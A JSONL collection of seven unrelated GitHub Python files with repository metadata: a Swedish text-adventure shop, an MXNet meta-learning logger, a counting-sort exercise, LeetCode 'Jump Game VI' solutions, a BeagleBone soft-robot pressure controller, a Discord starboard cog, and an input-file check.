+{"seq_id":"33148272131","text":"from Player import *\nimport os \nimport time\nfrom Player import Player_1\n\nclass Butik_items:\n def __init__(self, namn, bonus_strength, bonus_hp):\n self.namn = namn\n self.bonus_strength = bonus_strength\n self.bonus_hp = bonus_hp\n def __str__(self):\n return f\"{self.namn} med styrka {self.bonus_strength}\"\n\n\n def köp_plåster(self):\n köp_plåster = input(\"\"\" \n \n /==========================1\n / : : : : : |::::| : : : : : 1 |===============|\n{ : : : : : :|::::|: : : : : : } |Namn = plåster |\n \\ : : : : : |::::| : : : : : / |Pris = 20$ |\n ==========================/ |HP_bonus = +10 |\n=============================== |===============|\n Vill du köpa?\n 1) Köp\n 2) Tillbaka\n=============================== \n\n \"\"\")\n while True:\n if köp_plåster == \"1\":\n if Player_1.pengar < 20:\n os.system('cls')\n print(\"Du har för lågt saldo!!\")\n return Player_1\n else:\n if Player_1.HP == ursprungliga_HP:\n os.system('cls')\n print(f\"Ditt HP är max {ursprungliga_HP} du kan inte köpa\")\n input(\"Tryck [ENTER]\")\n break\n else:\n os.system('cls')\n Player_1.pengar -= 20\n print(\"Plåstern kostade 20$\")\n print(\"Du har en plåster nu i din ryggsäck\")\n time.sleep(0.5)\n Player_1.HP += 10\n print(f\"Du har {Player_1.HP} HP nu\")\n time.sleep(0.5)\n print(f\"Pengar kvar: {Player_1.pengar}\")\n input(\"Tryck enter för att gå vidare\")\n break\n elif köp_plåster == \"2\":\n break\n else:\n os.system('cls')\n print(\"Skriv rätt!!\")\n return Player_1\n \n def yxa(self):\n os.system('cls')\n köp_yxa = input(\"\"\" \n /\\ \n//`-||-'1)\n(|-=||=- |) \n\\L,-||-.// |==================|\n \\L ||-// |Namn = Yxa |\n || |Pris = 200$ |\n || |Strength_bonus = 5|\n || |==================|\n || \n || \n ||\n ()\n\n\n============================= \n Vill du köpa?\n 1) Köp\n 2) Tillbaka\n============================= \n \"\"\")\n while True:\n if köp_yxa == \"1\":\n if Player_1.pengar < 200:\n os.system('cls')\n print(\"Du har för lågt saldo!!. Du kan inte köpa yxan\")\n input(\"Okej? [ENTER]\")\n return Player_1\n else:\n os.system('cls')\n Player_1.pengar -= 200\n yxa_info = {\"namn\":\"Yxa\", \"strength_bonus\":5}\n Player.lägg_till_inventoryt(yxa_info, Yxa)\n return Player_1\n elif köp_yxa == \"2\":\n break\n else:\n köp_yxa = input(\"Ogiltigt svar, skriv rätt : \")\n return Player_1\n \n def tabbe(self):\n os.system('cls')\n köp_tabbe = input(\"\"\" \n\n \n ____________________________________________________________\n| () |==================|\n| |____________________________| |Namn = Tabbe |\n| | |Pris = 400$ |\n| ________________________| |Strength_bonus = 8|\n| |] | |==================|\n| |___| \n| |\n| |\n| |\n| |\n|___ _| \n \n \n\n\n\n============================= \n Vill du köpa?\n 1) Köp\n 2) Tillbaka\n============================= \n \"\"\")\n while True:\n if köp_tabbe == \"1\":\n if Player_1.pengar < 400:\n os.system('cls')\n print(\"Du har för lågt saldo!!. Du kan inte köpa tabben\")\n input(\"Okej? [ENTER]\")\n return Player_1\n else:\n os.system('cls')\n Player_1.pengar -= 400\n tabbe_info = {\"namn\":\"Tabbe\", \"strength_bonus\":8}\n Player.lägg_till_inventoryt(tabbe_info, Tabbe)\n return Player_1\n elif köp_tabbe == \"2\":\n break\n else:\n köp_tabbe = input(\"Ogiltigt svar, skriv rätt : \")\n return Player_1\n\n def butik(self):\n Alternativ = [\"1\",\"2\",\"3\",\"4\"]\n val_shelf = \"\"\n while val_shelf not in Alternativ:\n os.system('cls')\n print(f\"Ditt saldo är {Player_1.pengar}$\")\n print(\"\"\"\n===================================================\n Välkommnen till Jamal och brödernas butik!\n====================================================\n====================================================\n Här finnns olika hyllor vilken väljer du? \n====================================================\n 1) Yxa 3) Tabbe \n 2) Medicin 4) Tillbaka\n \"\"\")\n val_shelf = input(\"\\n Vad väljer du? \")\n if val_shelf == \"1\":\n os.system('cls')\n Butik_items.yxa(Player_1)\n\n elif val_shelf == \"2\":\n os.system('cls')\n Butik_items.köp_plåster(Player_1)\n elif val_shelf == \"3\":\n os.system('cls')\n Butik_items.tabbe(Player_1)\n elif val_shelf == \"4\":\n os.system('cls')\n break\n else:\n os.system('cls')\n print(\"Välj rätt siffta\")\n val_shelf = \"\"\n\n\n\nPlåster = Butik_items(\"Plåster\", None, 10)\nYxa = Butik_items(\"Yxa\", 5, None)\nTabbe= Butik_items(\"Tabbe\",8,None)\n\n\n \n\n\n\n","repo_name":"Mehdissf/spel","sub_path":"Äventyrsspel/Butik.py","file_name":"Butik.py","file_ext":"py","file_size_in_byte":6167,"program_lang":"python","lang":"sv","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"12253724031","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport logging\nimport mxnet as mx\n\n\nALL = 'all'\n\n\nclass MetaLogger():\n \"\"\"\n Class for holding the parameters and losses for a MetaRepurposer and plotting those values.\n \"\"\"\n # TODO: Add support for logging loss/parameters after each batch rather than after every epoch\n def __init__(self, alpha_plot=0.1):\n self._losses = {}\n self._parameters = {}\n\n self.alpha_plot = alpha_plot\n\n self.EPOCH = 'epoch'\n self.TASK = 'task'\n self.METASTEP = 'metastep'\n\n def reset(self):\n self._losses = {}\n self._parameters = {}\n\n @property\n def num_tasks(self):\n all_tasks = []\n for ms in self._parameters.keys():\n all_tasks.append([k for k in self._parameters[ms].keys() if isinstance(k, int)])\n return len(np.unique(all_tasks))\n\n def report(self, end, hook=None):\n \"\"\"\n Report results at end of epoch/task/metastep using hook function.\n \"\"\"\n if hook is None:\n hook = logging.info\n\n reporter = {self.EPOCH: self._report_epoch,\n self.TASK: self._report_task,\n self.METASTEP: self._report_metastep}\n\n reporter[end](hook)\n\n def _report_epoch(self, hook):\n hook('\\t\\tMetastep: {}, Task: {}, Epoch: {}, Loss: {:.3f}'.format(\n self.latest_metastep, self.latest_task,\n len(self._losses[self.latest_metastep][self.latest_task]),\n self._losses[self.latest_metastep][self.latest_task][-1]))\n\n def _report_task(self, hook):\n initial_loss = self._losses[self.latest_metastep][self.latest_task][0]\n final_loss = self._losses[self.latest_metastep][self.latest_task][-1]\n hook('\\tMetastep: {}, Task: {}, Initial Loss: {:.3f}, Final Loss: {:.3f}, Loss delta: {:.3f}'.format(\n self.latest_metastep, self.latest_task,\n initial_loss, final_loss, final_loss - initial_loss))\n\n def _report_metastep(self, hook):\n loss_total = 0\n for task_loss in self._losses[self.latest_metastep].values():\n loss_total += task_loss[-1]\n num_tasks = len(self._losses[self.latest_metastep].keys())\n mean_loss = loss_total / num_tasks\n hook('Metastep: {}, Num tasks: {}, Mean Loss: {:.3f}'.format(self.latest_metastep, num_tasks, mean_loss))\n\n @property\n def latest_metastep(self):\n return max(self._losses.keys())\n\n @property\n def latest_task(self):\n return max(self._losses[self.latest_metastep].keys())\n\n def log_loss(self, metastep, task, epoch, loss):\n \"\"\"\n Append loss to dictionary.\n \"\"\"\n if metastep not in self._losses.keys():\n self._losses[metastep] = {}\n if task not in self._losses[metastep].keys():\n self._losses[metastep][task] = []\n self._losses[metastep][task].append(loss)\n\n def log_params(self, metastep, task, epoch, net):\n \"\"\"\n Append parameters to dictionary.\n \"\"\"\n parameters = {}\n for k, v in net.params.items():\n parameters[k] = v.data().copy().asnumpy()\n\n if metastep not in self._parameters.keys():\n self._parameters[metastep] = {}\n if task not in self._parameters[metastep].keys():\n self._parameters[metastep][task] = []\n self._parameters[metastep][task].append(parameters)\n\n def log_initial_params(self, ms, net):\n \"\"\"\n Log parameters before any updates made.\n \"\"\"\n if ms in self._parameters.keys():\n return\n self.log_params(ms, ALL, -1, net)\n\n def plot_losses(self, add_label=True, figsize=(20, 4)):\n \"\"\"\n Plot the logged losses.\n \"\"\"\n if self._losses == {}:\n raise ValueError('No losses logged.')\n fig, axes = plt.subplots(ncols=self.num_tasks, figsize=figsize)\n fig.suptitle('Losses', fontsize=30, y=1.08)\n for task in range(self.num_tasks):\n axes[task].set_title('Task {}'.format(task))\n axes[task].set_xlabel('epoch')\n axes[task].set_ylabel('loss')\n for ms in self._losses.keys():\n for task in range(self.num_tasks):\n if task in self._losses[ms].keys():\n alpha = 1 if ms == max(self._losses.keys()) else self.alpha_plot\n axes[task].plot(self._losses[ms][task], 'o-', alpha=alpha)\n if add_label:\n axes[task].text(x=0.05, y=self._losses[ms][task][0], s=ms)\n\n def plot_params(self, param, W, loss_fn, figsize=(20, 6), gridsize=(100, 100), a=0.2, loss_samples=100):\n \"\"\"\n Plot the logged parameters.\n \"\"\"\n if self._parameters == {}:\n raise ValueError('No parameters logged.')\n fig, axes = plt.subplots(ncols=self.num_tasks, figsize=figsize)\n for surface in range(self.num_tasks):\n for ms in sorted(self._parameters.keys()):\n for task in range(self.num_tasks):\n if task in self._parameters[ms].keys() or ms == max(self._parameters.keys()):\n temp_ms = ms\n while task not in self._parameters[temp_ms].keys():\n temp_ms -= 1\n x = np.concatenate([p[param] for p in self._parameters[temp_ms][task]])\n x = np.concatenate([self._parameters[temp_ms]['all'][0][param], x]).T\n initial_point = self._parameters[temp_ms]['all'][0][param].T\n\n assert x.shape[0] == 2, 'Dimension of parameter must be 2.'\n\n label = task if ms == max(self._parameters.keys()) else None\n alpha = 1 if ms == max(self._parameters.keys()) else self.alpha_plot\n color = 'r' if surface == task else 'k'\n axes[surface].plot(x[0], x[1], 'o-', color=color, label=label, alpha=alpha)\n axes[surface].plot(initial_point[0], initial_point[1], 'o-', color='tab:pink', alpha=alpha)\n axes[surface].legend()\n axes[surface].set_title('Loss surface for Task {}'.format(surface))\n # Plot loss surface\n extent = axes[surface].get_xlim() + axes[surface].get_ylim()\n grid = np.zeros(gridsize)\n for i, w1 in enumerate(np.linspace(extent[0], extent[1], gridsize[0])):\n for j, w2 in enumerate(np.linspace(extent[2], extent[3], gridsize[1])):\n grid[j][i] = loss_fn(mx.nd.array([w1, w2]), W[surface], loss_samples)\n axes[surface].imshow(grid, extent=extent, origin='lower')\n # Set labels\n axes[surface].set_xlabel(param + ' 1')\n axes[surface].set_ylabel(param + ' 2')\n fig.suptitle('Parameters', fontsize=30, y=0.9)\n","repo_name":"amzn/xfer","sub_path":"leap/leap/metalogger.py","file_name":"metalogger.py","file_ext":"py","file_size_in_byte":6896,"program_lang":"python","lang":"en","doc_type":"code","stars":250,"dataset":"github-code","pt":"72"}
+{"seq_id":"40493957164","text":"#1. Buatlah kode program untuk menampilkan perubahan setiap iterasi dari proses pengurutan dengan counting sort\n#2. Tambahkan kode program untuk menghitung banyaknya perbandingan dan pergeseran pada algoritma counting sort\n\ndef countingSort(list_data,k): \n D = [] \n E = [] \n \n for i in range(k+1): \n D.append(0) \n \n for j in range(len(list_data)): \n D[list_data[j]] = D[list_data[j]]+1 \n E.append(0)\n \n for x in range(1,k+1) :\n D[x] = D[x]+D[x-1] \n \n g = 1\n for j in range(len(list_data)-1,-1,-1): \n E[D[list_data[j]]-1] = list_data[j] \n print('Pada Iterasi ke-{} \\npada B[{}] akan di replace dengan {} \\nsehingga data akan menghasilkan data terbaru : {}\\n'.format(g,D[list_data[j]]-1,list_data[j],E))\n D[list_data[j]] = D[list_data[j]]-1 \n g += 1\n\n return(E)\n\na_list = [18,81,99,91,7,8,3,5,2]\nprint(countingSort(a_list,max(a_list)))","repo_name":"dewialqurani/STRADATA_SEMESTER2","sub_path":"UAS/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"23775397441","text":"'''\n1696. Jump Game VI\nMedium\n\n1848\n\n71\n\nAdd to List\n\nShare\nYou are given a 0-indexed integer array nums and an integer k.\n\nYou are initially standing at index 0. In one move, you can jump at most k steps forward without going outside the boundaries of the array. That is, you can jump from index i to any index in the range [i + 1, min(n - 1, i + k)] inclusive.\n\nYou want to reach the last index of the array (index n - 1). Your score is the sum of all nums[j] for each index j you visited in the array.\n\nReturn the maximum score you can get.\n\n \n\nExample 1:\n\nInput: nums = [1,-1,-2,4,-7,3], k = 2\nOutput: 7\nExplanation: You can choose your jumps forming the subsequence [1,-1,4,3] (underlined above). The sum is 7.\nExample 2:\n\nInput: nums = [10,-5,-2,4,0,3], k = 3\nOutput: 17\nExplanation: You can choose your jumps forming the subsequence [10,4,3] (underlined above). The sum is 17.\nExample 3:\n\nInput: nums = [1,-5,-20,4,-1,3,-6,-3], k = 2\nOutput: 0\n \n\nConstraints:\n\n1 <= nums.length, k <= 105\n-104 <= nums[i] <= 104\nAccepted\n55,789\nSubmissions\n127,563\n'''\n# O(nlogk)\nclass Solution:\n def maxResult(self, nums: List[int], k: int) -> int:\n if len(nums) == 1: return nums[0]\n max_heap = [(-nums[0], 0)]\n for i in range(1, len(nums)-1):\n while len(max_heap) > k and max_heap[0][1] < i-k:\n heappop(max_heap)\n heappush(max_heap, (max_heap[0][0] - nums[i], i))\n while len(max_heap) > k and max_heap[0][1] < len(nums)-1-k:\n heappop(max_heap)\n return -max_heap[0][0]+nums[len(nums)-1]\n\n# O(n)\nclass Solution:\n def maxResult(self, nums: List[int], k: int) -> int:\n q = deque([0])\n for i in range(1, len(nums)):\n nums[i] = nums[i] + nums[q[0]]\n while q and nums[q[-1]] <= nums[i]:\n q.pop()\n q.append(i)\n if i-q[0] >= k: q.popleft()\n return nums[-1]","repo_name":"jomesh18/Leetcode","sub_path":"Leetcode_challenge/2022/07. July/09.maxResult.py","file_name":"09.maxResult.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"23173265151","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jul 23 13:39:59 2019\r\n\r\n@author: AmP\r\n\"\"\"\r\nimport numpy as np\r\nimport errno\r\nimport logging\r\nimport time\r\nimport threading\r\n\r\ntry:\r\n import Adafruit_BBIO.PWM as PWM\r\n import Adafruit_BBIO.ADC as ADC\r\n ADC.setup()\r\nexcept ImportError:\r\n pass\r\n\r\nfrom Src.Hardware import MPU_9150 as sensors\r\n\r\nfrom Src.Management import state_machine\r\nfrom Src.Management.thread_communication import llc_ref\r\nfrom Src.Management.thread_communication import llc_rec\r\n\r\n\r\nfrom Src.Hardware.configuration import CHANNELset\r\nfrom Src.Hardware.configuration import IMUset\r\nfrom Src.Hardware.configuration import TSAMPLING\r\nfrom Src.Hardware.configuration import STARTSTATE\r\n\r\nfrom csv_read_test import pattern_ref\r\n\r\nfrom Src.Controller import ctrlib\r\nfrom Src.Controller import calibration\r\nfrom Src.Controller import compute_utils\r\n\r\n\r\n\r\nrootLogger = logging.getLogger()\r\n\r\nPOTIS = {0: \"P9_33\"}\r\nOUT = {0: \"P8_13\"}\r\n\r\nfor name in CHANNELset:\r\n PWM.start(OUT[name], 0, 25000)\r\n PWM.set_duty_cycle(OUT[name], 10.0)\r\n\r\n\r\ndef set_pressure_ref_via_poti():\r\n potis = {}\r\n for idx in POTIS:\r\n val = ADC.read(POTIS[idx]) # bug-> read twice\r\n val = round(ADC.read(POTIS[idx])*100)/100\r\n potis[idx] = val\r\n llc_ref.pressure = potis\r\n\r\ndef set_alpha_ref_via_poti():\r\n potis = {}\r\n for idx in POTIS:\r\n val = ADC.read(POTIS[idx]) # bug-> read twice\r\n val = round(ADC.read(POTIS[idx])*100)/100*120\r\n potis[idx] = val\r\n llc_ref.alpha = potis\r\n\r\n\r\ndef is_poti():\r\n for idx in POTIS:\r\n val = ADC.read(POTIS[idx]) # bug-> read twice\r\n val = round(ADC.read(POTIS[idx])*100)/100\r\n return True if val != 0 else False\r\n\r\n\r\n\r\ndef IMU_connection_test():\r\n imu_set = [imu for imu in IMUset]\r\n imu_used_ = [CHANNELset[name]['IMUs'] for name in CHANNELset]\r\n while [None] in imu_used_:\r\n imu_used_.remove([None])\r\n imu_used = list(np.unique([imu for subl in imu_used_ for imu in subl]))\r\n for imu in imu_used:\r\n if imu not in imu_set and imu is not None:\r\n raise KeyError(\r\n 'IMU with name \"{}\"'.format(imu) + ' is used for angle' +\r\n 'calculation, but is not in the set of connected IMUs')\r\n try:\r\n IMU = {}\r\n for name in IMUset:\r\n rootLogger.info(\"initialize IMU with mplx id: \" +\r\n str(IMUset[name]['id']))\r\n IMU[name] = sensors.MPU_9150(\r\n name=name, mplx_id=IMUset[name]['id'])\r\n except IOError: # not connected\r\n rootLogger.info(\"failed\")\r\n IMU = False\r\n return IMU\r\n\r\n\r\nclass LowLevelController(threading.Thread):\r\n\r\n \r\n def __init__(self):\r\n threading.Thread.__init__(self)\r\n self.sampling_time = TSAMPLING\r\n self.imu_in_use = None\r\n Ts = 0.03 # calc mean sampling time\r\n gamma = .07\r\n self.ell = 11.2\r\n self.gyrscale = 1/2500\r\n self.accscale = 9.81\r\n self.LP = [compute_utils.LP1n(Ts, gamma) for i in range(4)] # lowpass filter\r\n self.Diff = compute_utils.Diff1(Ts)\r\n\r\n def is_imu_in_use(self):\r\n return self.imu_in_use\r\n\r\n def run(self):\r\n IMU = IMU_connection_test()\r\n self.imu_in_use = True if IMU else False\r\n\r\n def read_imu():\r\n for name in IMU:\r\n try:\r\n llc_rec.acc[name] = IMU[name].get_acceleration()\r\n llc_rec.gyr[name] = IMU[name].get_gyro()\r\n except IOError as e:\r\n if (e.errno == errno.EREMOTEIO \r\n or e.errno == errno.EWOULDBLOCK):\r\n rootLogger.exception(\r\n 'cant read imu device.' +\r\n 'Continue anyway ...Fail in [{}]'.format(name))\r\n else:\r\n rootLogger.exception('Sensor [{}]'.format(name))\r\n rootLogger.error(e, exc_info=True)\r\n raise e\r\n\r\n def calc_angle(self): #M \"self\" hinzugefügt\r\n if IMU:\r\n for name in CHANNELset:\r\n idx0, idx1 = CHANNELset[name]['IMUs']\r\n rot_angle = CHANNELset[name]['IMUrot']\r\n acc0 = np.array(self.LP[0].filt(llc_rec.acc[idx0]))*self.accscale\r\n acc1 = np.array(self.LP[1].filt(llc_rec.acc[idx1]))*self.accscale\r\n gyr0 = np.array(self.LP[2].filt(llc_rec.gyr[idx0]))*self.gyrscale\r\n gyr1 = np.array(self.LP[3].filt(llc_rec.gyr[idx1]))*self.gyrscale\r\n domega_z = self.Diff.diff(gyr1[2]-gyr0[2])\r\n last_alp = llc_rec.aIMU[name]\r\n\r\n adynx, adyny = compute_utils.a_dyn(\r\n domega_z, last_alp, self.ell)\r\n acc1_static = [acc1[0]+adynx, acc1[1]+adyny, acc1[2]]\r\n aIMU_filt = compute_utils.calc_angle(\r\n acc0, acc1_static, rot_angle)\r\n\r\n llc_rec.aIMU[name] = round(aIMU_filt, 2)\r\n\r\n read_imu() # init recorder\r\n calc_angle(self)\r\n\r\n def PPIDBooster():\r\n rootLogger.info(\"Arriving in PPIDBooster State. \")\r\n booster = ctrlib.PressureBoost(version='big', tboost=.75)\r\n\r\n while llc_ref.state == 'PPIDBOOSTER':\r\n if IMU and is_poti():\r\n read_imu()\r\n calc_angle(self)\r\n #referenz über pattern\r\n pattern_ref(patternname='pattern_0.csv', alpha=True)\r\n for name in CHANNELset:\r\n aref = llc_ref.alpha[name]\r\n pref = booster.get_reference(aref)\r\n pwm = calibration.cut_off(int(100*pref), 100)\r\n PWM.set_duty_cycle(OUT[name], pwm)\r\n llc_rec.u[name] = pwm\r\n\r\n time.sleep(self.sampling_time)\r\n\r\n return llc_ref.state\r\n\r\n\r\n def PPID():\r\n rootLogger.info(\"Arriving in PPID State. \")\r\n\r\n while llc_ref.state == 'PPID':\r\n if IMU and is_poti():\r\n read_imu()\r\n calc_angle(self)\r\n #referenz über pattern\r\n pattern_ref(patternname='pattern_0.csv', alpha=True)\r\n for name in CHANNELset:\r\n aref = llc_ref.alpha[name]\r\n pref = calibration.get_pressure(aref, version='big')\r\n pwm = calibration.cut_off(int(100*pref), 100)\r\n PWM.set_duty_cycle(OUT[name], pwm)\r\n llc_rec.u[name] = pwm\r\n\r\n time.sleep(self.sampling_time)\r\n\r\n return llc_ref.state\r\n\r\n\r\n def CasPID():\r\n rootLogger.info(\"Arriving in CasPID State. \")\r\n PID = [0.008, 0.020, .01]\r\n CasCtr = ctrlib.PidController_WindUp(PID, TSAMPLING, max_output=1.)\r\n\r\n while llc_ref.state == 'CASPID':\r\n if IMU and is_poti():\r\n read_imu()\r\n calc_angle(self)\r\n #referenz über pattern\r\n pattern_ref(patternname='pattern_0.csv', alpha=True)\r\n for name in CHANNELset:\r\n aref = llc_ref.alpha[name]\r\n pref = CasCtr.output(aref, llc_rec.aIMU[name])\r\n pwm = pwm = calibration.cut_off(pref*100, 100)\r\n PWM.set_duty_cycle(OUT[name], pwm)\r\n llc_rec.u[name] = pwm\r\n\r\n time.sleep(self.sampling_time)\r\n\r\n return llc_ref.state\r\n\r\n\r\n def CasPIDClb():\r\n rootLogger.info(\"Arriving in CasPIDClb State. \")\r\n PID = [0.0204, 0.13, 0.0037]\r\n CasCtr = ctrlib.PidController_WindUp(PID, TSAMPLING, max_output=.4)\r\n\r\n while llc_ref.state == 'CASPIDCLB':\r\n if IMU:\r\n read_imu()\r\n calc_angle(self)\r\n #referenz über pattern\r\n# pattern_ref(patternname='pattern_0.csv', alpha=True)\r\n #referenz über Poti\r\n set_alpha_ref_via_poti()\r\n for name in CHANNELset:\r\n aref = llc_ref.alpha[name]\r\n clb = calibration.get_pressure(aref, version='big')\r\n pid = CasCtr.output(aref, llc_rec.aIMU[name])\r\n pref = clb + pid\r\n pwm = pwm = calibration.cut_off(pref*100, 100)\r\n PWM.set_duty_cycle(OUT[name], pwm)\r\n llc_rec.u[name] = pwm\r\n\r\n time.sleep(self.sampling_time)\r\n\r\n return llc_ref.state\r\n\r\n\r\n\r\n\r\n def POTIREF():\r\n rootLogger.info(\"Arriving in POTIREF State: \")\r\n\r\n while llc_ref.state == 'POTIREF':\r\n # read\r\n if IMU:\r\n read_imu()\r\n calc_angle(self)\r\n # referenz über Poti\r\n set_pressure_ref_via_poti()\r\n # write\r\n for name in CHANNELset:\r\n pref = llc_ref.pressure[name]\r\n PWM.set_duty_cycle(OUT[name], pref*100)\r\n llc_rec.u[name] = pref*100\r\n time.sleep(self.sampling_time)\r\n\r\n return llc_ref.state\r\n\r\n def clb():\r\n rootLogger.info(\"Arriving in CLB State: \")\r\n\r\n while llc_ref.state == 'CLB':\r\n # read\r\n if IMU and is_poti():\r\n read_imu()\r\n calc_angle(self)\r\n pattern_ref(patternname='clb.csv', alpha=False)\r\n # write\r\n for name in CHANNELset:\r\n pref = llc_ref.pressure[name]\r\n PWM.set_duty_cycle(OUT[name], pref*100)\r\n llc_rec.u[name] = pref*100\r\n time.sleep(self.sampling_time)\r\n\r\n return llc_ref.state\r\n\r\n def pause_state():\r\n \"\"\" do nothing. waiting for tasks \"\"\"\r\n rootLogger.info(\"Arriving in PAUSE State: \")\r\n\r\n while llc_ref.state == 'PAUSE':\r\n if IMU:\r\n read_imu()\r\n calc_angle()\r\n\r\n time.sleep(self.sampling_time)\r\n\r\n return llc_ref.state\r\n\r\n def clean():\r\n rootLogger.info('Clean PWM ...')\r\n PWM.cleanup()\r\n\r\n \"\"\" ---------------- ----- ------- ----------------------------- \"\"\"\r\n \"\"\" ---------------- RUN STATE MACHINE ------------------------- \"\"\"\r\n \"\"\" ---------------- ----- ------- ----------------------------- \"\"\"\r\n\r\n automat = state_machine.StateMachine()\r\n automat.add_state('PAUSE', pause_state)\r\n automat.add_state('PPID', PPID)\r\n automat.add_state('POTIREF', POTIREF)\r\n automat.add_state('CASPID', CasPID)\r\n automat.add_state('CASPIDCLB', CasPIDClb)\r\n automat.add_state('PPIDBOOSTER', PPIDBooster)\r\n automat.add_state('CLB', clb)\r\n automat.add_state('EXIT', clean, end_state=True)\r\n \r\n# automat.set_start('FEED_THROUGH')\r\n automat.set_start(STARTSTATE)\r\n\r\n\r\n try:\r\n rootLogger.info('Run LowLevelCtr ...')\r\n automat.run()\r\n except Exception as e:\r\n rootLogger.exception(e)\r\n rootLogger.error(e, exc_info=True)\r\n raise\r\n rootLogger.info('LowLevelCtr is done ...')\r\n\r\n def kill(self):\r\n llc_ref.state = 'EXIT'\r\n","repo_name":"larslevity/CBoardMinimal","sub_path":"Src/Controller/lowlevel_controller.py","file_name":"lowlevel_controller.py","file_ext":"py","file_size_in_byte":11741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"18232856874","text":"import discord\nfrom discord.ext import commands\n\n\nasync def star(stars):\n if stars in range(0, 6):\n colour = 0xECFFA7\n star_ = '⭐'\n elif stars in range(5, 11):\n colour = 0xE1FF79\n star_ = '🌟'\n elif stars in range(10, 16):\n colour = 0xD4FF3E\n star_ = '💫'\n else:\n colour = 0xC7FF00\n star_ = '☄️'\n return colour, star_\n\n\nasync def create_embed(message: discord.Message, stars: int):\n colour, star_count = star(stars)\n embed = discord.Embed(colour=colour, description='[Original Message]({})'.format(message.jump_url))\n embed.set_author(icon_url=message.author.avatar, name=message.author)\n\n if message.content:\n embed.add_field(name='Message:', value=message.content)\n\n if message.attachments:\n if message.attachments[0].filename.split('.')[-1] not in ['png', 'jpg', 'gif', 'jpeg']:\n embed.add_field(name='Attachments:', value=message.attachments[0].url)\n else:\n embed.set_image(url=message.attachments[0].url)\n\n pre = 'Stars' if stars != 1 else 'Star'\n message_ = '{} **{} {}** {}'.format(star_count, stars, pre, message.channel.mention)\n return embed, message_\n\nclass Starboard(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.client = self.bot.client\n self._client = bot.beta_client\n\n self.table = self.client['Bot']\n self.column = self.table['Starboard']\n self.guild = self.table['Guilds']\n\n self.cache = {}\n\n @commands.Cog.listener()\n async def on_raw_reaction_add(self, payload):\n if not str(payload.emoji) == '⭐':\n return\n\n channel = self.cache.get(payload.guild_id)\n if not channel:\n channel = self.guild.find_one({'_id': payload.guild_id})['StarChannel']\n if not channel:\n return\n message = await self.bot.get_channel(payload.channel_id).fetch_message(payload.message_id)\n if payload.member.id == message.author.id or message.author.bot or channel == payload.channel_id:\n return await message.remove_reaction(payload.emoji, payload.member)\n star_message = self.column.find_one({'_id': f'{payload.guild_id}/{payload.message_id}'})\n star_limit = self.guild.find_one({'_id': payload.guild_id}).get('StarCount') or 0\n for reaction in message.reactions:\n if reaction.emoji == '⭐':\n count = reaction.count\n break\n \n if count < star_limit:\n return\n \n star_channel = self.bot.get_channel(channel)\n embed, mes = create_embed(message, count)\n \n if not star_message:\n try:\n star_mes = await star_channel.send(content=mes, embed=embed)\n except discord.errors.HTTPException:\n embed = discord.Embed(description='[Original Message]({})'.format(message.jump_url), colour=discord.Colour.red()).set_author(icon_url=message.author.avatar, name=message.author)\n embed.set_footer(text='Missing Field, Cannot Load Original Message!', icon_url=self.bot.user.avatar)\n star_mes = await star_channel.send(embed=embed, content=mes)\n self.column.insert_one({'_id': f'{payload.guild_id}/{payload.message_id}', 'MessageID': payload.message_id})\n \n else:\n star_message = await star_channel.fetch_message(star_message['MessageID'])\n if not star_message:\n self.column.delete_one({'_id': f'{payload.guild_id}/{payload.message_id}'})\n try:\n await star_message.edit(content=mes, embed=embed)\n except discord.errors.HTTPException:\n embed = discord.Embed(description='[Original Message]({})'.format(message.jump_url), colour=discord.Colour.red()).set_author(icon_url=message.author.avatar, name=message.author)\n embed.set_footer(text='Missing Field, Cannot Load Original Message!', icon_url=self.bot.user.avatar)\n await star_message.edit(embed=embed, content=mes)\n\n @commands.command()\n @commands.cooldown(1, 20, commands.BucketType.user)\n async def starboard(self, ctx):\n data = self.guild.find_one({'_id': ctx.guild.id})\n channel = data['StarChannel']\n star_lim = data['StarCount']\n \n if isinstance(channel, int):\n channel_ = self.bot.get_channel(channel)\n if not channel_:\n channel_ = 'Not Set'\n else:\n channel_ = 'Not Set'\n status = 'Status: Active <:4941_online:787764205256310825>' if channel_ != 'Not Set' else 'Status: Inactive <:offline:787764149706031104>'\n colour = discord.Colour.green() if channel_ != 'Not Set' else discord.Colour.red()\n embed = discord.Embed(\n title=status,\n colour=colour)\n embed.add_field(name='Channel:', value=channel_.mention if channel_ != 'Not Set' else channel_)\n embed.add_field(name='Star Limit:', value='**{}**'.format('1' if not star_lim else star_lim))\n await ctx.send(embed=embed)\n\ndef setup(bot):\n bot.add_cog(Starboard(bot))\n","repo_name":"Seniatical/Mecha-Karen","sub_path":"Bot/src/passive/starboard.py","file_name":"starboard.py","file_ext":"py","file_size_in_byte":5323,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"72"}
+{"seq_id":"31039712941","text":"#################################\n# Michael Gruber, 21.10.2021 #\n# Medizinische Universität Graz #\n# Lehrstuhl für Histologie #\n#################################\n\nimport os\n\n\ndef check_if_input_files_exist(\n p: dict\n):\n\n \"\"\"Check if the input files defined in gtc parameters exist.\"\"\"\n\n for fname in p['files'].values():\n if not os.path.exists(fname):\n raise ValueError(\"The following input file does not exist: %s \"\n \"- Check the file paths' name in 'Gtc-Parameters'!\" % fname)\n\n#################################\n","repo_name":"spatialhisto/GTC","sub_path":"gtc/control/gtc_control__check_if_input_files_exist.py","file_name":"gtc_control__check_if_input_files_exist.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
